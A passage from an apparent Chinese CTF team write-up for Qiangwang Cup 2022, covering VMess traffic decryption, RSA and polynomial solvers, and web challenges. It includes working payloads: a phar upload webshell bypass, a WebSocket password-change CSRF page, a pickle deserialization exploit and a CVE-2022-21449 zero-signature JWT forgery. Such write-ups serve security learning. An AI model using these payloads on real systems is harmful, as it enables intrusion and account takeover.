import hmac\nimport hashlib\nfrom Crypto.Hash import SHAKE128\nfrom Crypto.Cipher import AES\n\nuuid = bytes.fromhex('b831381d63244d53ad4f8cda48b30811') # \u53d6\u81ea config.json\n\ndef get_timestamp(f):\n correct = f.read(16)\n t0 = 1615528962 # \u53d6\u81ea pcap \u7684\u65f6\u95f4\n for t in range(t0 - 60, t0 + 60):\n h = hmac.new(uuid, int.to_bytes(t, 8, byteorder='big'), digestmod='MD5')\n if h.digest() == correct:\n return t\n\ndef decode_send_header(f, t):\n key = hashlib.md5(uuid + b'c48619fe-8f02-49e0-b9e9-edf763e17e21').digest()\n iv = hashlib.md5(int.to_bytes(t, 8, byteorder='big') * 4).digest()\n cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=AES.block_size*8)\n header = cipher.decrypt(f.read(38))\n iv = header[1:17]\n key = header[17:33]\n return iv, key\n\ndef decode_recv_data(f, iv, key):\n iv = hashlib.md5(iv).digest()\n key = hashlib.md5(key).digest()\n shade = SHAKE128.new(data=iv)\n\n f.seek(4)\n data = b''\n count = 0\n while True:\n padding = int.from_bytes(shade.read(2), byteorder='big') % 64\n length = int.from_bytes(f.read(2), byteorder='big') ^ int.from_bytes(shade.read(2), byteorder='big')\n if length - padding == 16:\n break\n chunk = f.read(length)\n if padding > 0:\n chunk = chunk[:-padding]\n\n chunk_iv = int.to_bytes(count, 2, byteorder='big') + iv[2:12]\n cipher = AES.new(key, AES.MODE_GCM, chunk_iv)\n chunk = cipher.decrypt_and_verify(chunk[:-16], chunk[-16:])\n data += chunk\n count += 1\n return data\n\nif __name__ == '__main__':\n with open('send.dat', 'rb') as f:\n t = get_timestamp(f)\n iv, key = decode_send_header(f, t)\n with open('recv.dat', 'rb') as f:\n data = decode_recv_data(f, iv, key)\n with open('content.txt', 'wb') as f:\n f.write(data)\n
\u7136\u540e\u53d1\u73b0\u662f\u4e00\u4e2a HTTP \u8bf7\u6c42\uff0c\u628a html \u91cc\u9762\u7684\u4e1c\u897f\u4fdd\u5b58\uff0c\u5f97\u5230\u4e86\u4e00\u4e2a 0208_54741869750132.doc
\u3002
doc\u6587\u6863\u4e0b\u8f7d\u540e\u706b\u7ed2\u62a5\u6bd2\u4e0d\u65ad\uff0c\u5206\u79bb\u51fa\u7684dll\u6587\u4ef6\u770b\u8d77\u6765\u5e76\u4e0d\u7b80\u5355\uff0c\u8003\u8651\u5230\u5927\u6982\u7387\u8981\u63d0\u53d6\u5b8f\u75c5\u6bd2\u4e2d\u7684API\u5730\u5740\uff0c\u76f4\u63a5\u628a\u6587\u4ef6\u4e0a\u4f20\u5230\u5fae\u6b65\u4e91\u6c99\u7bb1\u5206\u6790\u884c\u4e3a\uff0c\u53d1\u73b0\u662f\u771f\u7684\u75c5\u6bd2\uff08https://s.threatbook.com/report/file/3a5648f7de99c4f87331c36983fc8adcd667743569a19c8dafdd5e8a33de154d\uff09
\u540c\u65f6\u5728\u6837\u672c\u62a5\u544a\u91cc\u627e\u5230\u4e86api\u5730\u5740 api.ipify.org
\uff08\u770b\u8d77\u6765\u5e76\u4e0d\u662f\u53ea\u6709\u6211\u4eec\u662f\u8fd9\u6837\u505a\u7684\uff0c\u5199wp\u65f6\u53d1\u73b07\u670831\u53c8\u88ab\u4e0a\u4f20\u4e86\u51e0\u6b21\uff09
\u89e3\u538b\u540e\u62ff\u5230\u4e00\u4e2a\u81ea\u79f0\u662fGOB\u6587\u4ef6\u7684\u4e8c\u8fdb\u5236\uff0c\u6000\u7591\u662fgo\u7684\u5e8f\u5217\u5316\u5bf9\u8c61\u6216\u8005\u662f\u6e38\u620f\u8d44\u6e90\u6587\u4ef6\uff0c\u628a\u6587\u4ef6\u59348\u5b57\u8282\u5341\u516d\u8fdb\u5236\u653e\u5230\u8c37\u6b4c\u91cc\u53ef\u4ee5\u641c\u5230\u4e00\u4e2agithub\u7684poc\u4ed3\u5e93\uff0c\u56e0\u6b64\u786e\u8ba4\u8be5\u6587\u4ef6\u662fgo\u7684\u6253\u5305\u6587\u4ef6\u3002
\u7528 pygob \u8bfb\u53d6\uff0c\u91cc\u9762\u6709\u65f6\u95f4\u6233 2022-07-19 14:49:56
\u548c\u4e00\u4e2a\u6240\u8c13\u7684 PNG \u6587\u4ef6\uff0c\u4f46\u662f\u8fd9\u4e2a PNG \u6253\u4e0d\u5f00\u3002
\u7136\u540e\u6839\u636e\u63d0\u793a\uff08~~\u552f\u4e00\u6709\u7528\u7684\u63d0\u793a~~\uff09\uff0c\u8fd9\u4e2a\u6587\u4ef6\u6253\u4e71\u8fc7\u3002\u7136\u540e\u56e0\u4e3a\u6709\u65f6\u95f4\uff0c\u6240\u4ee5\u53ef\u4ee5\u8003\u8651\u7528\u65f6\u95f4\u4f5c\u4e3a\u79cd\u5b50\uff0c\u628a\u8fd9\u4e2a\u968f\u673a\u8fc7\u7a0b\u8fd8\u539f\u3002
func main() {\n rand.Seed(1658213396) // 2022-07-19 14:49:56\n\n raw, err := os.ReadFile(\"p.png\")\n len := len(raw)\n mapping := make([]int, len)\n data := make([]byte, len)\n\n for i := 0; i < len; i++ {\n mapping[i] = i\n }\n rand.Shuffle(len, func(i, j int) {\n mapping[i], mapping[j] = mapping[j], mapping[i]\n })\n for i := 0; i < len; i++ {\n data[mapping[i]] = raw[i]\n }\n\n f, err := os.Create(\"q.png\")\n f.Write(data)\n}\n
\u7136\u540e\u8fd8\u539f\u4e4b\u540e\uff0c\u5c31\u5f97\u5230\u4e86\u4e00\u5f20\u6b63\u5e38\u7684 PNG \u56fe\u7247\u3002\u4e0d\u8fc7\u91cc\u9762\u4e5f\u4e0d\u76f4\u63a5\u662f flag\u3002\u7ecf\u8fc7\u89c2\u5bdf\uff0c\u56fe\u7247\u7684\u767d\u8272\u90e8\u5206\u548c\u84dd\u8272\u90e8\u5206\u90fd\u662f\u5168\u767d\u6216\u5168\u84dd\uff0c\u6ca1\u6709\u4fe1\u606f\u3002\u4e0d\u8fc7\u5b57\u7684\u8fb9\u7f18\u6709\u70b9\u610f\u601d\u3002\u7ecf\u8fc7\u5c1d\u8bd5\uff0c\u53d1\u73b0\u6392\u9664\u5168\u767d\u548c\u5168\u84dd\u50cf\u7d20\u4e4b\u540e\uff0c\u628a alpha \u7684\u6570\u636e\u76f4\u63a5\u63d0\u53d6\u62fc\u63a5\u4e4b\u540e\uff0c\u5c31\u662f flag \u4e86\u3002
from PIL import Image\nimg = Image.open('q.png')\nfor x in img.getdata():\n if x != (255, 255, 255, 255) and x != (0, 0, 255, 255):\n print(hex(x[3])[2:], end='')\n # \u7136\u540e\u628a\u8f93\u51fa hex \u89e3\u7801\u4e00\u4e0b\u5373\u53ef\n
"},{"location":"Writeup/2022%E5%BC%BA%E7%BD%91%E6%9D%AF/readme/#_1","title":"\u5f3a\u7f51\u5148\u950b","text":"\uff08\u63a8\u6d4b\u5f3a\u7f51\u5148\u950b\u662f\u96be\u5ea6\u8f83\u4f4e\u7684\u9898\u76ee\uff0c\u4f46\u662f\u5206\u7c7b\u672a\u77e5\uff09
"},{"location":"Writeup/2022%E5%BC%BA%E7%BD%91%E6%9D%AF/readme/#rcefile-24","title":"rcefile-\u5f3a\u7f51\u5148\u950b-24","text":"\u79c1\u6709\u73af\u5883\uff0c\u731c\u6d4b\u9700\u8981\u7b80\u5355\u626b\u63cf\uff0c\u5fa1\u5251\u5c1d\u8bd5100\u6761\u5e38\u89c1\u8def\u5f84\u53d1\u73b0www.zip\u6e90\u7801\u3002
\u4e0a\u4f20\u6587\u4ef6\u540e\u7f00\u8fc7\u6ee4\u5f88\u4e25\u683c\uff0c\u4e14\u6ca1\u4ec0\u4e48\u7ed5\u8fc7\u7684\u673a\u4f1a\uff0c\u524d\u8fb9\u4e5f\u88ab\u62fc\u63a5\u4e86md5\uff0c\u4e0d\u80fd\u4f20.htacess
\u4e8e\u662f\u628a\u6240\u6709php\u5408\u6cd5\u6269\u5c55\u540d\u90fd\u8bd5\u4e00\u904d\uff08https://book.hacktricks.xyz/pentesting-web/file-upload\uff09 \uff0c\u53d1\u73b0phps\u6587\u4ef6\u4f1a403\uff0c\u7ee7\u7eed\u6d4b\u8bd5\u5269\u4f59\u6269\u5c55\u540d\u53d1\u73b0phar\u6587\u4ef6\u53ef\u4ee5\u89e3\u6790\u3002
\u4f20\u9a6c\uff0c\u7ed3\u675f\u3002
"},{"location":"Writeup/2022%E5%BC%BA%E7%BD%91%E6%9D%AF/readme/#asr-68","title":"ASR-\u5f3a\u7f51\u5148\u950b-68","text":"factordb\u53ea\u80fd\u83b7\u5f97\u5f00\u65b9\u7684\u7ed3\u679c\u3002
\u5206\u89e3\u56db\u4e2a128\u4f4d\u8d28\u6570\u7684\u4e58\u79ef\u5e94\u8be5\u5e76\u4e0d\u590d\u6742\uff0c\u653e\u5230yafu\u91cc\u5355\u7ebf\u7a0b\u8dd1\u4e0d\u5230\u4e00\u5c0f\u65f6\u5c31\u80fd\u51fa\u6765
SIQS elapsed time = 8.5662 seconds.\nTotal factoring time = 2415.3993 seconds\n\nP39 = 223213222467584072959434495118689164399\nP39 = 260594583349478633632570848336184053653\nP39 = 218566259296037866647273372633238739089\nP39 = 225933944608558304529179430753170813347\n
e\u548cphi\u4e0d\u4e92\u7d20\uff0c\u6570\u7406\u57fa\u7840\u532e\u4e4f\u7684\u6211\u4eec\u5e76\u6ca1\u6709\u7528phi = (p-1)*(q-1)*(r-1)*(s-1)*p*q*r*s
\u68ad\u51fa\u7b54\u6848
\u5728 https://www.modb.pro/db/404740 \u7684\u8ba8\u8bba\u4e2d\u627e\u5230\u80fd\u7528\u7684\u811a\u672c\uff0c\u6284\u8fc7\u6765\u6539\u5c11\u4e00\u4e2a\u56e0\u5b50
sage\u90e8\u5206
n = p * q * r * s * p * q * r * s\ne = 3\nprint(n)\nphi = (p - 1) * (q - 1) * (r - 1) * (s - 1)\nR.<x> = Zmod(p)[]\nf = x ^ e - c\nf = f.monic()\nres1 = f.roots()\n\nR.<x> = Zmod(q)[]\nf = x ^e - c\nf = f.monic()\nres2 = f.roots()\n\nR.<x> = Zmod(r)[]\nf = x ^e - c\nf = f.monic()\nres3 = f.roots()\n\nR.<x> = Zmod(s)[]\nf = x ^e - c\nf = f.monic()\nres4 = f.roots()\n\nprint(res1,res2,res3,res4,sep='\\n')\n
python\u90e8\u5206
res1=[(61230132932186378005663689217798805559, 1)]\nres2=[(127287570627900634195349274487282947698, 1)]\nres3=[(159183122833201520722281740271702531008, 1), (54017009972585088360569997378772209006, 1), (5366126490251257564421634982763999075, 1)]\nres4=[(97828969479259149226856141068289169207, 1), (84132055525449472521332928867042183796, 1), (43972919603849682780990360817839460344, 1)]\n\ndef union(x1, x2):\n a1, m1 = x1\n a2, m2 = x2\n d = gmpy2.gcd(m1, m2)\n assert (a2 - a1) % d == 0\n p1, p2 = m1 // d, m2 // d\n _, l1, l2 = gmpy2.gcdext(p1, p2)\n k = -((a1 - a2) // d) * l1\n lcm = gmpy2.lcm(m1, m2)\n ans = (a1 + k * m1) % lcm\n return ans, lcm\n\n\ndef excrt(ai, mi):\n tmp = zip(ai, mi)\n return reduce(union, tmp)\n\n\nfor i in res1:\n for j in res2:\n for k in res3:\n for l in res4:\n ai = [i[0], j[0], k[0], l[0]]\n # print(ai)\n mi = [p, q, r, s]\n flag = excrt(ai, mi)\n flag = hex(flag[0])\n try:\n print(bytes.fromhex(flag[2:]))\n except:\n ...\n
"},{"location":"Writeup/2022%E5%BC%BA%E7%BD%91%E6%9D%AF/readme/#polydiv-48","title":"polydiv-\u5f3a\u7f51\u5148\u950b-48","text":"\u7ed9\u51fa\u7b49\u5f0f $a(x) \\times b(x) + c(x) = r(x)$\uff0c\u5e76\u7ed9\u51fa\u591a\u9879\u5f0f $a(x), c(x), r(x)$\uff0c\u6c42 $b(x)$\u3002
\u79fb\u4e00\u4e0b\u9879\uff0c\u5f97\u5230 $b(x) = \\big( r(x) - c(x) \\big) \\div a(x)$\uff0c\u524d\u9762\u51cf\u6cd5\u90e8\u5206\u5f88 trivial\uff0c\u540e\u9762\u9664\u6cd5\u7684\u90e8\u5206\uff0c\u56e0\u4e3a\u5df2\u77e5\u80fd\u6574\u9664\uff0c\u6240\u4ee5\u76f4\u63a5\u4e0a\u591a\u9879\u5f0f\u9664\u6cd5\u5373\u53ef\u3002
from pwn import *\nimport hashlib\nimport itertools\n\nconn = remote('IP', PORT)\n\ndef proof():\n line = conn.recvline().decode().strip()\n conn.recv()\n hexdigest = line.split(' == ')[1]\n suffix = line[12:28]\n charset = string.ascii_letters + string.digits\n for x in itertools.product(charset, repeat=4):\n plain = ''.join(x) + suffix\n if hashlib.sha256(plain.encode()).hexdigest() == hexdigest:\n conn.sendline(''.join(x))\n\ndef decode_poly(line):\n line = line.split(' = ')[1]\n arr = None\n for item in line.split(' + '):\n p = 0 if item == '1' else (1 if item == 'x' else int(item[2:]))\n if arr is None:\n arr = [ 0 for _ in range(p + 1) ]\n arr[p] = 1\n return arr\n\ndef poly_add(x, y):\n if len(x) < len(y):\n x, y = y, x\n x = x[:]\n for i in range(len(y)):\n x[i] = (x[i] + y[i]) % 2\n return x\n\ndef poly_div(x, y): # x / y\n x = x[:]\n b = [ 0 for _ in range(len(x)) ]\n low = min([ i for i, v in enumerate(y) if v == 1 ])\n for i in range(len(x) - low):\n c_pos = i + low\n if x[c_pos] != 0:\n b[i] = 1\n for j in range(len(y)):\n x[i + j] = (x[i + j] + y[j]) % 2\n return b\n\ndef solve():\n pr = decode_poly(conn.recvline().decode().strip())\n pa = decode_poly(conn.recvline().decode().strip())\n pc = decode_poly(conn.recvline().decode().strip())\n conn.recvline() # Please give me the b(x) which satisfy a(x)*b(x)+c(x)=r(x)\n conn.recv() # > b(x) =\n\n pb = poly_div(poly_add(pr, pc), pa)\n terms = []\n for i, v in list(enumerate(pb))[::-1]:\n if v != 0:\n terms.append('1' if i == 0 else ('x' if i == 1 else f'x^{i}'))\n conn.send(' + '.join(terms))\n print(conn.recvline()) # Success!\n\nif __name__ == '__main__':\n proof()\n for _ in range(40):\n solve()\n conn.interactive()\n
"},{"location":"Writeup/2022%E5%BC%BA%E7%BD%91%E6%9D%AF/readme/#web","title":"Web","text":""},{"location":"Writeup/2022%E5%BC%BA%E7%BD%91%E6%9D%AF/readme/#babyweb-web-44","title":"babyweb-Web-44","text":"\u8fd9\u4e2a bot \u7684\u4e3b\u8981\u529f\u80fd\u5c31\u662f\u53ef\u4ee5\u7528 bugreport http://host:port/login
\u8fd9\u6761\u6307\u4ee4\uff0c\u8ba9\u670d\u52a1\u5668\u8bbf\u95ee\u8fd9\u4e2a\u7f51\u7ad9\u3002\u7ecf\u8fc7\u6d4b\u8bd5\uff0c\u5b83\u662f\u53ef\u4ee5\u8fd0\u884c JavaScript \u7684\u3002
\u7136\u540e\u53d1\u73b0 admin
\u5df2\u7ecf\u88ab\u6ce8\u518c\u4e86\uff0c\u4e0d\u8fc7\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u4fee\u6539\u5b83\u7684\u5bc6\u7801\uff0c\u7136\u540e\u5c1d\u8bd5\u767b\u5f55\u3002\u4ece\u9898\u9762\u7684 docker
\u547d\u4ee4\u53ef\u4ee5\u77e5\u9053\u5b83\u5728\u672c\u5730\u7684\u7aef\u53e3\u662f 8888
\uff0c\u6240\u4ee5\u6784\u9020\u4e00\u4e2a html \u6587\u4ef6\uff0c\u6765\u5411 127.0.0.1 \u53d1\u9001\u4fee\u6539\u5bc6\u7801\u6307\u4ee4\uff1a
<html><body><script>\nws = new WebSocket('ws://127.0.0.1:8888/bot');\nws.onopen = function() {\n ws.send('changepw 123456');\n}\n</script></body></html>\n
\u7136\u540e\u4fee\u6539\u5b8c\u4e4b\u540e\u7528 admin
\u548c 123456
\u767b\u5f55\uff0c\u5c31\u53ef\u4ee5\u5230\u4e00\u4e2a\u8d2d\u7269\u5c0f\u8f66\u7684\u540e\u53f0\u3002\u7136\u540e\u53d1\u73b0\u53ea\u6709 200$\uff0c\u4e70\u4e0d\u4e86 flag\u3002\u4e0d\u8fc7\u901a\u8fc7\u89c2\u5bdf\u6e90\u7801\uff0c\u53ef\u4ee5\u77e5\u9053\u8d2d\u4e70\u7684\u903b\u8f91\u5206\u5e03\u5728\u4e24\u4e2a\u4e0d\u540c\u7684\u540e\u7aef\u4e2d\uff0c\u5176\u4e2d\u4e00\u4e2a\u68c0\u67e5\u91d1\u94b1\u591f\u4e0d\u591f\uff0c\u53e6\u5916\u4e00\u4e2a\u5c06\u4e70\u5230\u7684\u4e1c\u897f\u52a0\u5165\u5230\u7528\u6237\u5c5e\u6027\u4e2d\u3002\u6240\u4ee5\u5c31\u53ef\u4ee5\u5c1d\u8bd5\u8d70\u79c1\uff0c\u8ba9\u300c\u68c0\u67e5\u91d1\u94b1\u300d\u7684\u89c9\u5f97\u4e0d\u7528\u4e70\uff0c\u901a\u8fc7\u68c0\u67e5\uff0c\u8ba9\u300c\u4e70\u4e1c\u897f\u300d\u7684\u53ef\u4ee5\u6210\u529f\u4e70\u5230\u4e1c\u897f\u3002\u7ecf\u6d4b\u8bd5\uff0c\u4e0b\u9762\u7684 payload \u53ef\u4ee5\u6210\u529f\u8d70\u79c1\uff1a
{\n \"product\":[{\"id\":1,\"num\":0},{\"id\":2,\"num\":0}],\n \"product\":[{\"id\":1,\"num\":1},{\"id\":2,\"num\":1}]\n}\n
"},{"location":"Writeup/2022%E5%BC%BA%E7%BD%91%E6%9D%AF/readme/#crash-web-76","title":"crash-Web-76","text":"\u89c2\u5bdf\u6e90\u7801\uff1a
@app.route('/balancer', methods=['GET', 'POST'])\ndef flag():\n pickle_data=base64.b64decode(request.cookies.get(\"userdata\"))\n if b'R' in pickle_data or b\"secret\" in pickle_data:\n return \"You damm hacker!\"\n userdata=pickle.loads(pickle_data)\n if userdata.token!=hash(get_password(userdata.username)):\n return \"Login First\"\n if userdata.username=='admin':\n return \"Welcome admin, here is your next challenge!\"\n return \"You're not admin!\"\n
\u4e00\u773c\u770b\u4e0a\u53bb\u5c31\u662f pickle \u53cd\u5e8f\u5217\u5316\u5229\u7528\u3002\u4f46\u662f\u8fd9\u91cc\u7981\u7528\u4e86 R
\u6307\u4ee4\uff0c\u4e0d\u8fc7\u95ee\u9898\u4e0d\u5927\uff0c\u8fd9\u91cc\u53ef\u4ee5\u76f4\u63a5\u7528 o
\u6765\u5e73\u66ff\u3002\u5373 <func>(<args>tR
\u7b49\u4ef7\u4e8e (<func><args>o
\u3002\u628a pker.py \u811a\u672c\u7b80\u5355\u4fee\u6539\u4e00\u4e0b\u4e4b\u540e\u5c31\u80fd\u62ff\u6765\u7528\u4e86\u3002
\uff08\u8fd9\u91cc\u961f\u5185\u7684M\u795e\u5df2\u7ecfRCE\u4e86\uff0c\u4f46\u662f\u53d1\u73b0\u6ca1\u6743\u9650\u8bfbnginx\u7684\u914d\u7f6e\u6587\u4ef6\uff0c\u73af\u5883\u4e5f\u662f\u5f88\u65b0\u7684\u597d\u50cf\u5e76\u6ca1\u6709\u4ec0\u4e48\u63d0\u6743\u7684\u673a\u4f1a\uff09
\u7136\u540e\u4e0b\u4e00\u6b65\u5c31\u662f\u8ba9 token != hash(...)
\u4e3a False
\uff0c\u8fd9\u4e2a\u6211\u4e00\u5f00\u59cb\u5c1d\u8bd5\u4ece app.get_password
\u548c admin.secret
\u62ff\u5bc6\u7801\uff0c\u4f46\u662f\u62ff\u4e0d\u5230\u3002\u6240\u4ee5\u5c1d\u8bd5\u5c06 token
\u53d8\u6210\u4e00\u4e2a\u5bf9\u8c61\uff0c\u7136\u540e\u628a\u8fd9\u4e2a\u5bf9\u8c61\u7684 __ne__
hack \u4e3a\u6c38\u8fdc\u8fd4\u56de False
\u3002
\u4e0b\u4e3a payload\uff1a~~\u53d1\u73b0\u4e0d\u77e5\u9053\u4e3a\u5565\u4e0d\u9700\u8981\u7ed5 secret
\uff0c\u4e0d\u8fc7\u8981\u7ed5\u8fc7\u4e5f\u5f88\u7b80\u5355\uff0c\u62ff str.__add__
\u7ed5\u5373\u53ef~~
partial = GLOBAL('functools', 'partial')\ngetattr = GLOBAL('__builtin__', 'getattr')\nOrderedDict = GLOBAL('collections', 'OrderedDict')\nstartswith = getattr(GLOBAL('__builtin__', 'str'), 'startswith')\nUser = GLOBAL('app', 'User')\n\nfalse = partial(startswith, '1', '2')\nuser.__ne__ = false\nforever_ne = User('1', '2')\n\ndata = OrderedDict()\ndata.token = forever_ne\ndata.username = 'admin'\n\nreturn data\n
\u7136\u540e\u8fd9\u4e2a payload \u6254\u4e0a\u53bb\u4e4b\u540e\u5c31\u8fdb\u5230\u4e86\u4e00\u4e2a\u5747\u8861\u8d1f\u8f7d\u9875\u9762\u3002\u7ed3\u5408\u65f6\u4e8b\uff08\u6307\u67d0\u5783\u573e\u4e8c\u6b21\u5143\u89c6\u9891\u7f51\u7ad9\u7684\u4e8b\u6545\u5206\u6790\uff09\uff0c\u53d1\u73b0\u628a weight
\u8bbe\u7f6e\u6210 0 \u53ef\u4ee5\u8ba9 gcd
\u51fd\u6570\u6b7b\u5faa\u73af\uff0c\u6700\u7ec8 504 \u4ece\u800c\u62ff\u5230 flag\u3002
GitHub\u53ef\u4ee5\u6839\u636e\u8fd0\u884c\u65f6\u7684\u6807\u9898\u641c\u5230\u539f\u59cb\u7684\u4ed3\u5e93\uff0c\u5bf9\u7167dnspy\u7684\u7ed3\u679c\u7b80\u5355\u770b\u4e00\u4e0b\u662f\u591a\u4e86\u4e00\u4e2a\u5927\u7684\u540e\u95e8\u51fd\u6570\uff0c\u4ee5\u53cadll\u591a\u4e86\u4e00\u4e2agencode\uff0c\u4f46\u662f\u5e76\u6ca1\u6709\u7528\u5230\u3002
exe\u91cc\u7684\u540e\u95e8\u51fd\u6570\u6709\u4e09\u4e2acheckpoint\uff0c\u7b2c\u4e00\u6b65\u53d6\u51famessage\u6570\u636e\uff0c\u7b2c\u4e8c\u6b65xor 34\uff0c\u7b2c\u4e09\u6b65AES-ECB\u89e3\u5bc6\uff0c\u5bc6\u94a5Brainstorming!!!
\u89e3\u5bc6\u7684\u6587\u4ef6\u524d\u534a\u6bb5\u88ab\u8d5b\u535a\u53a8\u5b50\u8bc6\u522b\u4e3attf\u5b57\u4f53\uff0c\u4f46\u662f\u540e\u534a\u6bb5\u663e\u7136\u6709\u51fd\u6570\uff0c\u5bfc\u51fa\u7ed9binwalk\u770b\u4e00\u4e0b\u88ab\u544a\u77e5\u540e\u534a\u6bb5\u6709exe\uff0c\u4f46\u662f\u6ca1\u6709\u81ea\u52a8\u5206\u79bb\u51fa\u6765\uff0c\u624b\u52a8\u627e\u5230mz\u5934\u5206\u79bb\u51fa\u53d1\u73b0\u8fd8\u662f.net\u7a0b\u5e8f\uff0c\u7ee7\u7eed\u7ed9dnspy\u5206\u6790\uff0c\u5b9a\u4f4d\u5230\u6821\u9a8cflag\u7684\u51fd\u6570\uff0cx y z\u4e09\u4e2aULONG\u53d8\u91cf\u672a\u77e5\uff0c\u7ed3\u679c\u5df2\u77e5\uff0cflag\u5bc6\u6587\u5df2\u77e5\uff0c\u6c42\u5f97xyz\u5373\u53ef\u83b7\u5f97\u89e3\u5bc6\u5bc6\u94a5\u3002
\u7ed3\u679c\u768440\u4e2abyte\u7684\u6bcf\u4e00\u4f4d\u5bf9\u5e94\u4e00\u8f6e\u7684result\uff0c\u4e8e\u662f\u961f\u53cbM\u795e\u76f4\u63a5\u7ed9Z3\u4e22\u4e86320\u4e2a\u7ea6\u675f\u6761\u4ef6\uff0c10\u79d2\u5c31\u8dd1\u51fa\u6765\u4e86xyz\u3002
(\u600e\u4e48klee\u8dd1\u4e8610\u5206\u949f\u90fd\u6ca1\u7ed3\u679c\u5462\u3002STP\u548cZ3\u5dee\u8ddd\u8fd9\u4e48\u5927\u5417)
import z3\n\ndef rotate():\n global x, y, z\n x = ((((x >> 29) ^ (x >> 28) ^ (x >> 25) ^ (x >> 23)) & 1) | (x << 1)) & 0xFFFFFFFFF\n y = ((((y >> 30) ^ (y >> 27)) & 1) | (y << 1)) & 0xFFFFFFFFF\n z = ((((z >> 31) ^ (z >> 30) ^ (z >> 29) ^ (z >> 28) ^ (z >> 26) ^ (z >> 24)) & 1) | (z << 1)) & 0xFFFFFFFFF\n\ndef summary():\n global x, y, z\n return ((((z >> 32) & 1) & ((x >> 30) & 1)) ^ ((((z >> 32) & 1) ^ 1) & ((y >> 31) & 1))) & 1\n\n\nx0, y0, z0 = z3.BitVecs('x y z', 33)\nx, y, z = x0, y0, z0\nbits = [0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1]\n\ns = z3.Solver()\nfor i in range(320):\n rotate()\n s.add(summary() == bits[i])\n\ns.check()\nmodel = s.model()\nprint(model)\n\narray = [ model[x0].as_long(), model[y0].as_long(), model[z0].as_long() ]\nkey = [ 0 for _ in range(12) ]\nciphertext = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227]\n\nfor i in range(3):\n for j in range(4):\n key[i * 4 + j] = (array[i] >> (j * 8)) & 0xFF\n\nfor i in range(len(ciphertext)):\n ciphertext[i] = ciphertext[i] ^ key[i % 12]\n\nprint(bytes(ciphertext))\n
"},{"location":"Writeup/2022%E5%BC%BA%E7%BD%91%E6%9D%AF/readme/#crypto","title":"Crypto","text":""},{"location":"Writeup/2022%E5%BC%BA%E7%BD%91%E6%9D%AF/readme/#myjwt-crypto-62","title":"myJWT-Crypto-62","text":"\u6ca1\u7ed9\u51fafastjson\u7684\u7248\u672c\uff0c\u7ed3\u5408\u9898\u76ee\u63cf\u8ff0 misc&crypto \u4e14\u662f\u516c\u5171\u73af\u5883\uff0c\u8003\u8651\u5e76\u4e0d\u662f\u6700\u65b0\u7684\u53cd\u5e8f\u5217\u5316\uff0c\u90a3\u5c31\u53ea\u5269java\u81ea\u5df1\u7684\u5e93\u3002
CVE-2022-21449
java\u9a8c\u8bc1\uff1a
var keys = KeyPairGenerator.getInstance(\"EC\").generateKeyPair();\nvar blankSignature = new byte[64]; // \u9ed8\u8ba4\u662f0\nvar sig = Signature.getInstance(\"SHA256WithECDSAInP1363Format\");\nsig.initVerify(keys.getPublic());\nsig.update(\"admin:False\".getBytes());\nSystem.out.println(sig.verify(blankSignature));\n
\u7b7e\u540d\u5168\u662f0\u53ef\u4ee5\u6c38\u8fdc\u901a\u8fc7\u6821\u9a8c\uff0cjwt exp\uff1a eyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoiZnJhbmsiLCJhZG1pbiI6dHJ1ZSwiZXhwIjoxODU5MjM1NjAwNzYwfQ==.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
HED\u662f\u5357\u65b9\u79d1\u6280\u5927\u5b66COMPASS\u5b9e\u9a8c\u5ba4\u7684CTF\u6218\u961f
"},{"location":"Writeup/2023ciscn1/readme/#crypto","title":"Crypto","text":""},{"location":"Writeup/2023ciscn1/readme/#day1-sm2","title":"day1 \u57fa\u4e8e\u56fd\u5bc6SM2\u7b97\u6cd5\u7684\u5bc6\u94a5\u5bc6\u6587\u5206\u53d1","text":"
\u867d\u7136\u53ef\u4ee5\u4e00\u6b65\u4e00\u6b65\u8c03\u5e93\u8fdb\u884c\u8ba1\u7b97\uff0c\u4f46\u662f\u7531\u4e8e\u670d\u52a1\u5668\u5bf9 /api/search
\u7684\u7ba1\u7406\u4e0d\u662f\u5341\u5206\u5230\u4f4d\uff0c\u4e8e\u662f\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7\u8bbf\u95ee /api/allkey
, /api/quantum
